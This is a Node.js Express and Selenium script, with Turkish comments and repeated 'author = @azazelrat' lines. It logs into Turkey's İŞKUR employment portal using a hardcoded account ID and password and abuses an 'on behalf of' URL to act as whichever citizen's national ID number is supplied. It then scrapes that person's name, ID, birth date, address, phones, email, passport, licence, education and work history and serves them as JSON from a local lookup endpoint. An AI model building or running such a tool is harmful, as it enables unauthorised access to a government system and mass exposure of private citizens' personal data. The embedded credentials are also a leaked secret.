const {
Builder,
By,
Key,
until
} = require('selenium-webdriver');
const express = require('express');
const path = require('path');
const chromedriver = require('chromedriver');
const app = express();
const port = 3131;
author = @azazelrat
// Sabit kullanıcı adı ve şifre
const staticUserId = '45577169408';
const staticPassword = 'Ae+6684839';
author = @azazelrat
// Chromedriver yolu
const chromeDriverPath = 'C:\\chromedriver.exe';
process.env.PATH += path.delimiter + path.dirname(chromeDriverPath);
app.get('/iskur', async (req, res) => {
const tc = req.query.tc;
console.log('Dinamik TC author = @azazelrat :', tc);
let driver;
try {
// Webdriver başlatılıyor
driver = await new Builder().forBrowser('chrome').build();
await driver.get('https://esube.iskur.gov.tr/Belediye.aspx');
author = @azazelrat
// Giriş işlemi
console.log("Giriş işlemi başlatılıyor...");
await driver.findElement(By.id('ctl02_ctlPageTop_ucUserLogin_ctlPersonalUserId'))
.sendKeys(staticUserId);
await driver.findElement(By.id('ctl02_ctlPageTop_ucUserLogin_ctlPersonalPassword'))
.sendKeys(staticPassword, Key.RETURN);
console.log('Giriş yapıldı');
// TC'ye göre yönlendirme
const redirectUrl = `https://esube.iskur.gov.tr/Ortak/KullaniciIslemleri/PerformOnBehalfOf.aspx?IdentityType=External&IdentityName=${tc}&TargetVirtualPath=%7e%2f`;
await driver.get(redirectUrl);
// Sayfanın yüklenmesini bekleyin
await driver.wait(until.elementLocated(By.tagName('body')), 20000);
console.log('Sayfa tamamen yüklendi');
// "Devam Et" butonuna tıklama
const devamEtButonu = await driver.wait(until.elementLocated(By.linkText('Devam Et')), 20000); // 20 saniye bekleyin
await devamEtButonu.click();
console.log('Devam Et tıklanarak yönlendirme tamamlandı.');
// Özgeçmiş sayfasına gitme
const ozgecmisUrl = 'https://esube.iskur.gov.tr/Ozgecmis/OzgecmisExternal.aspx';
await driver.get(ozgecmisUrl);
// Sayfa yüklenene kadar bekleyin
await driver.wait(until.urlContains('OzgecmisExternal.aspx'), 30000);
console.log('Özgeçmiş sayfası yüklendi.');
// Özgeçmiş Görüntüle sayfasına gitme
const ozgecmispdfUrl = 'https://esube.iskur.gov.tr/Ozgecmis/OzgecmisGoruntule.aspx';
await driver.get(ozgecmispdfUrl);
// Sayfa yüklenene kadar bekleyin
await driver.wait(until.urlContains('OzgecmisGoruntule.aspx'), 30000);
console.log('Özgeçmiş Pdf sayfası yüklendi.');
// Kişisel bilgileri çekme
let data = {};
author = @azazelrat
// Ad Soyad bilgisini çekiyoruz
data.adSoyad = await driver.findElement(By.css('#ctl02_lblAdSoyad .notranslate')).getText();
console.log('Ad Soyad:', data.adSoyad);
// Kimlik numarası ve diğer kişisel bilgileri çekiyoruz
data.kimlikNo = await driver.findElement(By.css('#ctl02_divKisisel #ctl02_divTcKimlikNo .section-body-subrow')).getText();
data.cinsiyet = await driver.findElement(By.css('#ctl02_divKisisel #ctl02_divCinsiyet .section-body-subrow')).getText();
data.dogumTarihi = await driver.findElement(By.css('#ctl02_divKisisel #ctl02_divDogumTarihi .section-body-subrow')).getText();
data.askerlikDurumu = await driver.findElement(By.css('#ctl02_divKisisel #ctl02_divAskerlik .section-body-subrow')).getText();
data.askerlikMSB = await driver.findElement(By.css('#ctl02_divKisisel #ctl02_divAskerlikServis .section-body-subrow')).getText();
data.uyruk = await driver.findElement(By.css('#ctl02_divKisisel #ctl02_divVatandaslik .section-body-subrow')).getText();
author = @azazelrat
// İletişim bilgilerini çekiyoruz
data.iletisimBilgileri = {};
// Adres bilgisini çekiyoruz
data.iletisimBilgileri.adres = await driver.findElement(By.css('#ctl02_divIletisimBilgileri #ctl02_divAdres .section-body-subrow')).getText();
// Cep telefonu bilgisini çekiyoruz
data.iletisimBilgileri.cepTelefonu = await driver.findElement(By.css('#ctl02_divIletisimBilgileri #ctl02_divCepTel .section-body-subrow')).getText();
// Ev telefonu bilgisini çekiyoruz
try {
data.iletisimBilgileri.evTelefonu = await driver.findElement(By.css('#ctl02_divIletisimBilgileri #ctl02_divEvTel .section-body-subrow')).getText();
} catch (e) {
console.error('Ev telefonu bilgisi alınamadı:', e);
data.iletisimBilgileri.evTelefonu = 'Ev telefonu bilgisi mevcut değil';
}
// E-posta bilgisini çekiyoruz
data.iletisimBilgileri.eposta = await driver.findElement(By.css('#ctl02_divIletisimBilgileri #ctl02_divEPosta .section-body-subrow')).getText();
// Öğrenim bilgilerini çekme
data.Ogrenim = {};
author = @azazelrat
// İlköğretim bilgisini çekiyoruz
try {
data.Ogrenim.ilkogretim = await driver.findElement(By.css('#ctl02_divOgrenim .section-body-row:nth-child(1) .section-body-subrow')).getText();
} catch (e) {
console.error('İlköğretim bilgisi alınamadı:', e);
data.Ogrenim.ilkogretim = 'İlköğretim bilgisi mevcut değil';
}
// Meslek bilgilerini çekme
data.meslekBilgileri = [];
try {
const meslekler = await driver.findElements(By.css('#ctl02_divMeslek .section-body-row .section-body-subrow-single'));
for (let meslek of meslekler) {
const meslekAdi = await meslek.getText();
data.meslekBilgileri.push(meslekAdi);
}
} catch (e) {
console.error('Meslek bilgisi alınamadı:', e);
data.meslekBilgileri = 'Meslek bilgisi mevcut değil';
}
// Kişisel Belgeler
data.belgeler = {};
author = @azazelrat
// Pasaport bilgisini çekiyoruz
try {
const pasaport = await driver.findElement(By.css('#ctl02_divBelgeler #ctl02_divPasaport .section-body-subrow')).getText();
data.belgeler.pasaport = pasaport;
} catch (e) {
console.error('Pasaport bilgisi alınamadı:', e);
data.belgeler.pasaport = 'Pasaport bilgisi mevcut değil';
}
// Sürücü Belgesi bilgisini çekiyoruz
data.surucuBelgesi = {};
try {
const surucuBelgesi = await driver.findElement(By.css('#ctl02_divSurucuBelgesi .section-body-subrow')).getText();
data.surucuBelgesi = surucuBelgesi;
} catch (e) {
console.error('Sürücü Belgesi bilgisi alınamadı:', e);
data.surucuBelgesi = 'Sürücü Belgesi bilgisi mevcut değil';
}
// Yabancı Dil bilgilerini çekiyoruz
data.yabanciDil = {};
try {
const yabanciDiller = await driver.findElements(By.css('#ctl02_divYabanciDil .section-body-row'));
for (let dilRow of yabanciDiller) {
const dilAdi = await dilRow.findElement(By.css('.section-body-subrow-header b')).getText();
const dilLevels = await dilRow.findElements(By.css('.section-body-subrow b'));
let dilSeviyeleri = [];
for (let level of dilLevels) {
dilSeviyeleri.push(await level.getText());
}
data.yabanciDil[dilAdi] = dilSeviyeleri;
}
} catch (e) {
console.error('Yabancı Dil bilgisi alınamadı:', e);
data.yabanciDil = 'Yabancı Dil bilgisi mevcut değil';
}
author = @azazelrat
// İş Tecrübesi bilgilerini çekiyoruz
data.isTecrubesi = [];
try {
const isTecrubeleri = await driver.findElements(By.css('#ctl02_divIsTecrube .section-body-row'));
for (let tecrube of isTecrubeleri) {
const tarih = await tecrube.findElement(By.css('.section-body-subrow-header')).getText();
const isyeri = await tecrube.findElement(By.css('.section-body-subrow')).getText();
data.isTecrubesi.push({
tarih,
isyeri
});
}
} catch (e) {
console.error('İş Tecrübesi bilgisi alınamadı:', e);
data.isTecrubesi = 'İş Tecrübesi bilgisi mevcut değil';
}
console.log('Veriler başarıyla çekildi:', data);
// Veriyi JSON olarak döndürme
res.json(data);
} catch (error) {
console.error('Error during scraping:', error);
res.status(500).send('Something went wrong!');
} finally {
if (driver) {
await driver.quit(); // Tarayıcıyı kapatma
}
}
});
author = @azazelrat
app.listen(port, () => {
console.log(`Sunucu http://localhost:${port} adresinde çalışıyor`);
});